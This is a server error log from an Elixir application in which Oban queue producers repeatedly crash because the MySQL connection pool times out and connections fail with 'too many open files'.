See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:58:34.238726Z], limit: 20, uuid: "4f9b4cb9-30aa-43fb-b45e-0ff0400d8b02", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:34.238731Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.76769>, refresh_timer: #Reference<0.2525715032.1099431938.76722>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:47.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:58:34.239300Z], limit: 10, uuid: "748111a7-4a95-4e13-b453-971be80277e7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:34.239306Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.76773>, refresh_timer: #Reference<0.2525715032.1077673987.62478>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:58:34.239325Z], limit: 5, uuid: "7b2c9aee-6528-467a-a63c-d798e5c879fe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:34.239331Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.76774>, refresh_timer: #Reference<0.2525715032.1077673987.62482>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:47.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2064ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:58:34.238575Z], limit: 50, uuid: "5a88d0f7-a4d8-4da7-8138-eb41b98c03a1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:34.238581Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.76771>, refresh_timer: #Reference<0.2525715032.1099431938.76714>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:58:34.239323Z], limit: 3, uuid: "88501003-0192-42b6-adfc-00e2173cb9ef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:34.239328Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.76772>, refresh_timer: #Reference<0.2525715032.1099431938.76739>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:58:34.239488Z], limit: 5, uuid: "34bb1e71-5d1a-4ad8-aa81-3c772293be2c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:34.239493Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.76770>, refresh_timer: #Reference<0.2525715032.1099431938.76745>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:50.848000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:50.858000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:51.831000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:52.091000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:52.852000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:56.558000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:58:47.239445Z], limit: 5, uuid: "8937adad-4d83-4143-9fdb-391154207c14", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:47.239450Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.77121>, refresh_timer: #Reference<0.2525715032.1099431938.77110>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:58:47.238760Z], limit: 20, uuid: "4315da57-4082-4eff-bc28-041f0a085a39", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:47.238766Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.77120>, refresh_timer: #Reference<0.2525715032.1099431938.77069>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:58:47.239574Z], limit: 5, uuid: "f7bd4fb4-e74d-43dd-b4df-ea0d65f02c77", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:58:47.239580Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.77125>, refresh_timer: #Reference<0.2525715032.1068498948.90822>, dispatch_cooldown: 5, running: %{}}
